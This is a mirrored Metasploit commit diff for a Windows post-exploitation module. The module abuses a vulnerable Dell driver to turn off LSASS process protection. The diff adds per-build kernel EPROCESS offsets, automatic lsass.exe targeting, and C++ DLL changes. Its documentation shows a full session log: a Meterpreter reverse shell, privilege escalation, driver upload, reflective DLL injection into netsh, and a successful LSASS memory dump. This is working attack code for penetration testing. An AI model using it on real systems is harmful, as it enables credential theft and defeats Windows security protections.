1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

Pulled offsets out of dll into module. Auto-find lsass.exe when pid is 0

This commit is contained in:
Jake Baines 2021-12-18 10:56:46 -08:00
parent 78cae04db6
commit e7810acb1e
No known key found for this signature in database
GPG Key ID: 83126B7FC6B116A6
5 changed files with 151 additions and 109 deletions

View File

@ -56,7 +56,7 @@ Enable or disable memory protection on the targetted process. `false` will remov
### PID
The ID of the targetted process.
The ID of the targetted process. If set to 0 (the default value), the module will automatically find lsass.exe.
## Verification Steps
@ -281,3 +281,83 @@ msf6 post(windows/gather/memory_dump) > run
[*] Post module execution completed
msf6 post(windows/gather/memory_dump) >
```
### Windows Server 2016 (10.0.14393) x64 using DBUtilDrv2 version 2.5 and PID option set to 0
```
[*] Started reverse TCP handler on 10.0.0.3:4444
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.8:45172 ) at 2021-12-18 04:12:03 -0800
meterpreter > sysinfo
Computer : WIN-7ESIGFVFQEG
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN-7ESIGFVFQEG\albinolobster
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > ps | grep lsass
Filtering on 'lsass'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
664 504 lsass.exe x64 0
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/windows/gather/memory_dump
msf6 post(windows/gather/memory_dump) > set SESSIOn 1
SESSIOn => 1
msf6 post(windows/gather/memory_dump) > set PID 664
PID => 664
msf6 post(windows/gather/memory_dump) > set DUMP_PATH C:\\Windows\\Temp\\lsass_dump
DUMP_PATH => C:\Windows\Temp\lsass_dump
msf6 post(windows/gather/memory_dump) > run
[*] Running module against WIN-7ESIGFVFQEG
[*] Dumping memory for lsass.exe
[-] Post aborted due to failure: payload-failed: Unable to open process: Access is denied.
[*] Post module execution completed
msf6 post(windows/gather/memory_dump) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > upload /home/albinolobster/drivers/2_5/ C:\\Windows\\Temp\\
[*] uploading : /home/albinolobster/drivers/2_5/DBUtilDrv2.cat -> C:\Windows\Temp\\DBUtilDrv2.cat
[*] uploaded : /home/albinolobster/drivers/2_5/DBUtilDrv2.cat -> C:\Windows\Temp\\DBUtilDrv2.cat
[*] uploading : /home/albinolobster/drivers/2_5/dbutildrv2.inf -> C:\Windows\Temp\\dbutildrv2.inf
[*] uploaded : /home/albinolobster/drivers/2_5/dbutildrv2.inf -> C:\Windows\Temp\\dbutildrv2.inf
[*] uploading : /home/albinolobster/drivers/2_5/DBUtilDrv2.sys -> C:\Windows\Temp\\DBUtilDrv2.sys
[*] uploaded : /home/albinolobster/drivers/2_5/DBUtilDrv2.sys -> C:\Windows\Temp\\DBUtilDrv2.sys
meterpreter > background
[*] Backgrounding session 1...
msf6 post(windows/gather/memory_dump) > use post/windows/manage/dell_memory_protect
msf6 post(windows/manage/dell_memory_protect) > set DRIVER_PATH C:\\Windows\\Temp\\
DRIVER_PATH => C:\Windows\Temp\
msf6 post(windows/manage/dell_memory_protect) > set SESSION 1
SESSION => 1
msf6 post(windows/manage/dell_memory_protect) > run
[*] Set PID option 664 for lsass.exe
[*] Launching netsh to host the DLL...
[+] Process 3008 launched.
[*] Reflectively injecting the DLL into 3008...
[+] Exploit finished
[*] Post module execution completed
msf6 post(windows/manage/dell_memory_protect) > use post/windows/gather/memory_dump
msf6 post(windows/gather/memory_dump) > run
[*] Running module against WIN-7ESIGFVFQEG
[*] Dumping memory for lsass.exe
[*] Downloading minidump (4.70 MiB)
[+] Memory dump stored at /home/albinolobster/.msf4/loot/20211218041511_default_172.16.144.14_windows.process._536152.bin
[*] Deleting minidump from disk
[*] Post module execution completed
msf6 post(windows/gather/memory_dump) >
```

View File

@ -8,19 +8,13 @@ EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Debug|x64.ActiveCfg = Debug|x64
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Debug|x64.Build.0 = Debug|x64
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Debug|x86.ActiveCfg = Debug|Win32
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Debug|x86.Build.0 = Debug|Win32
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Release|x64.ActiveCfg = Release|x64
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Release|x64.Build.0 = Release|x64
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Release|x86.ActiveCfg = Release|Win32
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

View File

@ -149,78 +149,6 @@ namespace
return true;
}
bool getVersionOffsets(Offsets& p_offsets)
{
HMODULE hNtdll = GetModuleHandleA("ntdll");
if (hNtdll == NULL)
{
return false;
}
typedef void(__stdcall* fRtlGetNtVersionNumbers)(DWORD* MajorVersion, DWORD* MinorVersion, DWORD* BuildNumber);
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers");
if (RtlGetNtVersionNumbers == NULL)
{
return false;
}
/* get the version to determine the necessary eprocess offsets */
DWORD dwMajor, dwMinor, dwBuild;
RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);
dwBuild = LOWORD(dwBuild);
if (dwMajor != 10 && dwMinor != 0)
{
return false;
}
switch (dwBuild)
{
case 10240: // Gold
p_offsets.UniqueProcessIdOffset = 0x02e8;
p_offsets.ActiveProcessLinksOffset = 0x02f0;
p_offsets.SignatureLevelOffset = 0x06a8;
return true;
case 10586: // 2015 update
p_offsets.UniqueProcessIdOffset = 0x02e8;
p_offsets.ActiveProcessLinksOffset = 0x02f0;
p_offsets.SignatureLevelOffset = 0x06b0;
return true;
case 14393: // 2016 update
p_offsets.UniqueProcessIdOffset = 0x02e8;
p_offsets.ActiveProcessLinksOffset = 0x02f0;
p_offsets.SignatureLevelOffset = 0x06c8;
return true;
case 15063: // April 2017 update
case 16299: // Fall 2017 update
case 17134: // April 2018 update
case 17763: // October 2018 update
p_offsets.UniqueProcessIdOffset = 0x02e0;
p_offsets.ActiveProcessLinksOffset = 0x02e8;
p_offsets.SignatureLevelOffset = 0x06c8;
return true;
case 18362: // May 2019 update
case 18363: // November 2019 update
p_offsets.UniqueProcessIdOffset = 0x02e8;
p_offsets.ActiveProcessLinksOffset = 0x02f0;
p_offsets.SignatureLevelOffset = 0x06f8;
return true;
case 19041: // May 2020 update
case 19042: // October 2020 update
case 19043: // May 2021 update
case 19044: // October 2021 update
case 22000: // Win 11 June/September 2021
p_offsets.UniqueProcessIdOffset = 0x0440;
p_offsets.ActiveProcessLinksOffset = 0x0448;
p_offsets.SignatureLevelOffset = 0x0878;
return true;
default:
return false;
}
return false;
}
bool driver2Setup(HDEVINFO& p_devInfo, SP_DEVINFO_DATA& p_deviceInfoData, const char* p_infPath)
{
GUID guid = {};
@ -279,34 +207,39 @@ namespace
}
}
bool parse_params(std::string p_params, std::string& p_path_str, uint64_t& p_pid, bool& p_enable)
// passed params should be: driver path, pid, enable (1|0), unique proccess id offset, active process link offset, signature level offset
bool parse_params(std::string p_params, std::string& p_path_str, uint64_t& p_pid, bool& p_enable, Offsets& p_offsets)
{
std::string pid;
std::string enable;
std::stringstream stream(p_params);
std::getline(stream, p_path_str, ',');
std::getline(stream, pid, ',');
std::getline(stream, enable, ',');
if (p_path_str.empty() || pid.empty() || enable.empty())
std::vector<std::string> parsed;
while (stream.good())
{
std::string temp;
std::getline(stream, temp, ',');
parsed.push_back(temp);
}
if (parsed.size() != 6)
{
// wrong amount of params
return false;
}
p_path_str.assign(parsed[0]);
p_enable = (parsed[2] == "1");
try
{
p_pid = stoll(pid);
p_pid = stoull(parsed[1]);
p_offsets.UniqueProcessIdOffset = stoull(parsed[3]);
p_offsets.ActiveProcessLinksOffset = stoull(parsed[4]);
p_offsets.SignatureLevelOffset = stoull(parsed[5]);
}
catch (const std::exception&)
{
return false;
}
if (enable.size() != 1)
{
return false;
}
p_enable = (enable == "1");
return true;
}
}
@ -322,7 +255,8 @@ int exploit(const char* params)
std::string path_str;
uint64_t pid;
bool enable;
if (!parse_params(params, path_str, pid, enable))
Offsets offsets = { 0, 0, 0 };
if (!parse_params(params, path_str, pid, enable, offsets))
{
return EXIT_FAILURE;
}
@ -334,12 +268,6 @@ int exploit(const char* params)
return EXIT_FAILURE;
}
Offsets offsets = { 0, 0, 0 };
if (!getVersionOffsets(offsets))
{
return EXIT_FAILURE;
}
HDEVINFO devInfo = NULL;
SP_DEVINFO_DATA deviceInfoData = { };
if (!driver2Setup(devInfo, deviceInfoData, path_str.c_str()))

View File

@ -8,6 +8,7 @@ class MetasploitModule < Msf::Post
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Process
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
@ -38,7 +39,7 @@ class MetasploitModule < Msf::Post
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'References' => [
# TODO: R7 blog
[ 'URL', 'https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/'],
[ 'URL', 'https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection'],
[ 'URL', 'https://itm4n.github.io/lsass-runasppl/'],
[ 'URL', 'https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/' ],
@ -55,19 +56,45 @@ class MetasploitModule < Msf::Post
)
register_options([
OptString.new('DRIVER_PATH', [true, 'The path containing the driver inf, cat, and sys (and coinstaller)', '']),
OptString.new('PID', [true, 'The targetted process', '']),
OptInt.new('PID', [true, 'The targetted process. If set to 0 the module will automatically target lsass.exe', '0']),
OptBool.new('ENABLE_MEM_PROTECT', [true, 'Enable or disable memory protection', 'false'])
])
end
def target_compatible?
def get_eproc_offsets
sysinfo_value = sysinfo['OS']
unless sysinfo_value =~ /Windows/
print_status("Target is not Windows. Found #{sysinfo_value}")
return nil
end
build_num = sysinfo_value.match(/Build (\d+)/)[1].to_i
vprint_status("Windows Build Number = #{build_num}")
return true if sysinfo_value =~ /Windows 10/ && (build_num >= 10240 && build_num <= 22000)
# UniqueProcessIdOffset, ActiveProcessLinksOffset, SignatureLevelOffset
offsets = {
10240 => [ 0x02e8, 0x02f0, 0x06a8 ], # Gold
10586 => [ 0x02e8, 0x02f0, 0x06b0 ], # 2015 update
14393 => [ 0x02e8, 0x02f0, 0x06c8 ], # 2016 update
15063 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2017 update
16299 => [ 0x02e0, 0x02e8, 0x06c8 ], # Fall 2017 update
17134 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2018 update
17763 => [ 0x02e0, 0x02e8, 0x06c8 ], # October 2018 update
18362 => [ 0x02e8, 0x02f0, 0x06f8 ], # May 2019 update
18363 => [ 0x02e8, 0x02f0, 0x06f8 ], # November 2019 update
19041 => [ 0x0440, 0x0448, 0x0878 ], # May 2020 update
19042 => [ 0x0440, 0x0448, 0x0878 ], # October 2020 update
19043 => [ 0x0440, 0x0448, 0x0878 ], # May 2021 update
19044 => [ 0x0440, 0x0448, 0x0878 ], # October 2021 update
22000 => [ 0x0440, 0x0448, 0x0878 ] # Win 11 June/September 2021
}
false
unless offsets.key?(build_num)
print_status("Unknown offsets for Windows build #{build_num}")
return nil
end
return offsets[build_num]
end
def run
@ -75,9 +102,9 @@ class MetasploitModule < Msf::Post
fail_with(Failure::None, 'Elevated session is required')
end
# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL
unless target_compatible?
fail_with(Failure::NoTarget, 'The exploit does not support this target')
offsets = get_eproc_offsets
if offsets.nil?
fail_with(Failure::NoTarget, 'Unsupported targeted')
end
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
@ -88,11 +115,24 @@ class MetasploitModule < Msf::Post
fail_with(Failure::BadConfig, "The driver path must be a file path. User provided: #{datastore['DRIVER_PATH']}")
end
# If the user doesn't select a PID select lsass.exe for them
target_pid = datastore['PID']
if target_pid == 0
target_pid = pidof('lsass.exe').first
print_status("Set PID option #{target_pid} for lsass.exe")
end
params = datastore['DRIVER_PATH']
params += ','
params += datastore['PID']
params += target_pid.to_s
params += ','
params += (datastore['ENABLE_MEM_PROTECT'] ? '1' : '0')
params += ','
params += offsets[0].to_s # UniqueProcessIdOffset
params += ','
params += offsets[1].to_s # ActiveProcessLinksOffset
params += ','
params += offsets[2].to_s # SignatureLevelOffset
execute_dll(::File.join(Msf::Config.data_directory, 'exploits', 'dell_protect', 'dell_protect.x64.dll'), params)